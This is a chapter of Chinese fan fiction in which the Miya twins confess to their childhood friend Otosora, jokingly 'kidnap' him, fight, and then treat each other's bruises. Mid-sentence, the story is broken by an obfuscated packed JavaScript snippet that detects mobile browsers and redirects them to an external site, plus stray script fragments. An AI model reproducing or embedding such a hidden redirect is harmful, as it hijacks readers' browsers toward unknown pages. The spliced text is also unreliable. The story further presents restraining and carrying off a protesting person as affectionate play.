一是无论说什么,之前与音空共同的回忆也就止步于这段时间了。除那件事外,不会说出他记忆里有音空现在却没做过的事情。 二是他和音空太熟了,熟到不自觉就放松了。 完蛋了! 宫侑几乎能闻到自己大脑CPU烧焦的气味,却还是没能找到合适的借口,鼻尖冒了一层细汗。 倒是清水音空感觉宫侑慌得都有点可怜了,特别是脸上还带着刚打架留下的新鲜伤痕。 疑点多归多,但他没有非要追根究底的想法。 “以侑的风格,不是不能理解……” “才不是!你在理解什么啊,奇怪的事明明白白说出来不好吗!” 宫侑语气激烈的反驳。 不仅如此,他本就牵着清水音空手腕的手更是一用力,把清水音空扯到撞在他身上。 顾不上默默跟过来一步就是死活不放手的宫治,宫侑双眼执着的看着似乎永远这么平静礼貌的清水音空。 哪怕对方俊秀的脸上多出了很少见的伤痕,脱离掉打架被抓包的羞耻带来的情绪后,又恢复了以前的模样。 这些伤并不代表本质上的改变。 宫侑知道自己顺驴下坡是最好的,可他一听到清水音空这种在他们之间永远主动退一步不探究的语气,就有股怒火冒出来,想把清水音空的壳子打得稀碎。 “我们不是幼驯染吗?有什么不能说的?” 他手下力气愈发大了几分,养护良好的宽大手掌钳子般咬住这节发球扣球时线条总是那么流畅优雅的手腕,握得下陷的皮肤周围泛起红。 “问我啊,说我哪来的时间看你的录像,又怎么瞒得这么好从来没表现出来过! “你对我不好奇是吗?要保有朋友间尊重隐私的界限是吗? “哪怕是与你有关的事,你也不在意是吗? “你知不知道这样让人很不爽,我们之间有那么生疏吗!” “阿侑!”宫治眼看走向不对,提高声音喝道。 再这么下去,宫侑别把事情全都捅出来了。 宫侑却恍若未闻,只盯着近到一伸手就能紧密拥抱、眼睛里似乎都只有彼此倒影的清水音空。 清水音空皱起眉头,打架时成功宣泄掉的气闷感重新回来了。 “侑,”他语气有点冷,“你真的以为‘改正’我的排球后,就能来干涉我的人生观念了吗? “如果你不接受我的处事方式,以前你有无数个说出来的机会,你也可以选择远离我,而不是现在来要求我。” 唯独这一点,清水音空是不会退让的。 甚至,宫侑的行为已经可以说是在“攻击”他,令他感到危险了。 宫侑知道,继续下去,会发展成他不想见到的场面。 对他们最近做的事,音空的态度是忍耐。 这种忍耐是有限的,暂时的,忍不住了生个气,又可以继续忍。 但忍耐本身意义不大。 毕竟,这是音空对他们做惯了的事,却没见音空抛弃他们时有想过为他们留下来。 现在音空不就想扔下他了吗? 很危险,但危险中往往蕴含着机会。 “我就要干涉你的人生观念。”宫侑语气沉着了些,“因为,你不能再拿对朋友的界限来对待我了,我未来会成为你的家人,你对家人不是这么不闻不问的吧? “奶奶以前轻感冒差点变成重感冒那次,你事后有多生气慌张要求奶奶一定要有任何不舒服都不许瞒着马上告诉你,你还记得吧。 “音空,我怀着什么心情反复看你的录像,又是怎么不透露分毫的,你现在知道了。 “难道我不该有这种要求吗?” 一个很狡猾的回答。 成功让清水音空瞳孔颤动。 宫侑的意思是从他进稻荷崎后就在暗恋他,所以才能瞒得这么好? 不对,就算恋爱是陌生领域,能极大改变一个人,他也不可能一点都看不出来。 ……可这段时间如果不是宫双子主动表现出来,其它时候,他确实觉得和以前没有多大区别。 清水音空知道这是他的漠不关心造成的。 也就是说,这个说辞是合理的。 重点也不在于说辞是否合乎逻辑,而是宫侑堂而皇之要做他家人一样地位的恋人。 不是要指责改变他的人生观念,是要他换种更亲密也更冒犯的方式对待。 有点可怕。 宫侑的态度始终很有压迫感,清水音空却现在才如有实质地察觉到。 甚至令他不自觉向后退去,仿佛这么近的距离已经一脚踩在了宫侑的个人领域里,得赶快抽身。 但后背撞上了另一堵胸膛。 另一只手始终被紧握着,已习惯体温与力度,就像宫治总是那个看似存在感要低一些的人,却从来没有真正退让过。 “我没有看很多遍你的录像。”宫治从后面抱住清水音空,垂下深灰色眼眸,“因为我会想很多,会想得到暂时得不到的东西,以至于无法维持生活秩序。 “但是,它其实是能够得到的。 “你一直觉得人和人之间的差异使人无法真正的互相理解,就连感同身受都只是短暂的情绪共鸣,毕竟没有人生轨迹性格思想一模一样的两个人。 “的确,我无法理解你失去所有家人的感受,可是,你能够拥有新的家人。恋爱与婚姻不就是这么一回事吗?它是合理的将两个毫无血缘的人变成家人的方式。 “我会对你做出超出朋友的要求,同样,我也希望你能够对我这么做。 “这个过程对你来说也许与幸福快乐无关,但我能保证,它的结果一定是好的。 “我不只想当你的幼驯染,也不只想要你的端水和忍耐。” 宫治靠得太近了。 近到清水音空能从后背感觉到他的心跳声,近到那些话在耳边无比清晰没有一丝模糊,近到怀抱的温度像是盖着温柔幕布的禁锢囚笼。 比起第一次像是为了惹他生气恶作剧一样的告白,这次谁都没有说喜欢,却比直白说出口要沉重千百倍。 一开始假装的没有要求,如今也露出了食肉动物的尖牙,简直要把他撕咬殆尽。 新的家人。 这种事情,清水音空从来都没想过。 他也没有资格这么做。 “……我唔唔?” 刚要吐露的拒绝被手掌蛮横的捂住了,宫侑的手被风吹得有点冷,冰凉的刺激着皮肤。 他欺近,眼睛弯起来,狐狸般狡猾:“不是我爱听的话,我不听。” 宫治也带了狡黠的笑意,多少有点挑衅:“说了也起不到作用的,你还能报警抓我们吗?” 宫侑捏着嗓子怪声怪气:“好可怜,音空被我们绑架了。” 一丘之貉宫治跟着演:“早点拿出赎金就放人了。” “音空好像不愿意,真没想到音空还有守财奴属性。” “那没办法了,只能永远把人质扣押下来了。” “就当是被狐狸妖怪抓走了吧。” “虽然我不是北前辈那样端庄的狐狸,但我也会好好饲养人类音空的。” 被捂住嘴用力抱住前后夹击、两只手还被抓住、双拳难敌四手到无法挣扎的清水音空:“!” 可恶。 宫侑的鬼点子灯泡亮了:“把音空抬回去吧,这样他就跑不了了!” 忽然被双臂箍住腋下,紧接着双腿腾空身体一轻的清水音空:“!!” 他真的被抬起来了! 本来就力气大,人在干坏事的时候力气还能翻个倍,清水音空只觉得宫侑和宫治在搞竞速一样,蹭地一下就开始低空飞行了。 不对,真正在低空飞行的是他。 清水音空试图深呼吸平缓情绪,却没有丝毫作用。 喊他们放下来也没用,能听他的就有鬼了。 忍一下就好了。 到家了就好了。 ……结果是到家后又打了一架。 打排球的人对疼痛的耐受度会比较高,但也经不住这么折腾。 清水音空不可能像他们那样剖析内心也无法面对的别扭都被疼到顾不上了,只尽力维持着还算平静的表情,免得像宫双子那样龇牙咧嘴。 但宫治给他背上涂药时,那种伤处被按住的感觉比小时候初学排球一双手臂青青紫紫被祖母上药痛到含着两包眼泪还过分点。 毕竟那份记忆里的疼痛太久远了。 清水音空咬紧了牙,上半身本能往前躲,眉头皱得紧紧的。 宫治避开伤处,抓住清水音空肩膀往后,迫使清水音空不能躲避,“再忍忍,涂完还要一会。” “……嗯。” 宫侑顶着肿起的脸颊弯腰从清水音空前下方看,滑稽的样子逗得清水音空绷紧嘴角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943557|191994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼神也往一边飘。 “音空又在耍帅!”宫侑大声叫道,“这种时候了还要在意形象!” “我没有。我表情比较少。” “你是故意不做出表情的,你明明很想笑!” 清水音空不说话了。 习惯了情绪内敛,要他很直白的把一些激烈的情绪表现出来,他会觉得这样的自己有点奇怪。 尤其是宫侑这副模样,那记破颜拳还是忍无可忍的他打的,另一边颧骨上的青紫是宫治造成的。 他和宫治也没好到哪里去。 不过,以前宫双子打架,受伤更多的通常是宫侑。 现在他毫无疑问是里面最弱的,可他们三个都伤得大差不差。 要么是宫治放水了,要么是三个人的战局让宫治也无法战胜了。 宫侑还在那哼哼唧唧,清水音空拿过药往宫侑脸上糊,力道很轻,却成功止住了宫侑的声音。 他们身上方便的位置都自己涂了,只有不方便的需要帮忙。 宫治处理皮外伤也算是很有经验了——从妈妈那里学习的,在自己身上累积的——能简单判断出音空确实没有被打坏,心里松了口气。 比起他和阿侑从小打到大都没什么事的皮实,不打架的音空肯定会让人觉得更脆弱些。 同样的伤,在他们身上很正常,在音空身上,就感观上严重许多。 特别是音空皮肤又白,青青紫紫红红的,看着格外触目惊心。 宫治一边心疼,一边又觉得这是经验不足,多打几次就会少很多了。 当然,他们也不能整天打架。 可对音空来说,这种直截了当宣泄怒气表达情感的方式,一旦养成习惯,他们就更特殊了。 涂到侧腰时,那里有一片淡淡的疤痕。 是音空小时候遭遇车祸留下的旧疤。 随着年龄增长,它在慢慢变淡。 车祸对音空的影响似乎不大,从他们见到音空时,音空就已经是这种性格了。 奶奶态度也很正常,说明奶奶不觉得音空的性格因车祸有异常变化。 虽然失去的是至亲的父母,但年龄那么小的孩子,很难理解发生了什么事情吧。 ……真的是这样吗? 宫治顿了顿,指腹无意般擦过旧疤边缘。 略微有些凹凸不平,是音空曾经死里逃生存活下来的印记。 清水音空痒得抖了下,没有躲开,依旧在给宫侑擦药。 看起来也不是对这里有不可触碰的特殊态度。 宫治仔细上完药,把自己的后背交给清水音空。 音空和他一样,手指也有点粗糙,擦过皮肤时痒痒的。 哪怕看不见,也能感觉到涂得很认真。 “你明天想吃什么?”宫治说,“我不想整天跟阿侑一起吃鸡胸肉,我需要大米饭,正好把你的一起做了。” 他要恢复清水音空的日常生活。 先从正儿八经吃饭而不是整天靠便利店食堂速食产品混日子开始。 “我吃食堂就可以了。” 清水音空并不觉得体贴妈妈的宫治这么快就能改变主意,每天晚上米饭还是正常吃的,影响不大。 如果这是为他做饭,大家都是高中生,他也没有到需要人必须这么做的情况,没必要做这种为另一个人担任家庭成员职责的事情。 “食堂很单调的,你又吃不来便利店,偶尔一两次还行。我做饭团给你吃吧,就这么定了。” 宫治已经打开手机在看附近超市和生鲜店的营业时间了。 “阿治在利用自己的优势攻略你,”宫侑深沉道,“我也不会认输的,在你完全熟练起来之前,训练量加倍。” 清水音空面无表情发出被攻略NPC的声音:“清水音空对宫侑的好感度降低了。” “凭啥啊?”宫侑急了,“快给我加回去!” 宫治半转过身体,“宫治查询好感度。好感度在好友阶段可以触发特殊事件。宫治开启特殊事件。” 清水音空面不改色继续涂药:“因在场有两位玩家,好感度为隐藏模式。宫治已触发特殊事件‘上药’,特殊事件即将结束。” “宫治触发隐藏选项……” “音空,给我加满!” “请不要同时进行对话选项,清水音空正在处理中……清水音空未响应……清水音空正在处理中……” 宫治若有所思:“NPC掉线的意思就是玩家可以随意卡BUG了吧?” 宫侑扑了上来:“加满好感的选项在哪里?” “请注意,清水音空即将开启惩戒模式。” 宫双子非常好奇。 清水音空露出礼貌的微笑:“你们该不会已经忘记了,今天的作业还没写吧?” 宫双子:“……” 作业造成伤害1000000,玩家血条清空。 玩家宫治退出游戏。 玩家宫侑退出游戏。 NPC清水音空退出游戏。 NPC清水音空进入“思考人生状态。” NPC清水音空即将获得“人生不值得debuff”。 NPC清水音空“思考人生状态”被“过度疲劳debuff”“隐隐作痛debuff”“从头再忍debuff”“还可以原谅他们debuff”“幼驯染buff*2”强制抵消。 NPC清水音空已休眠。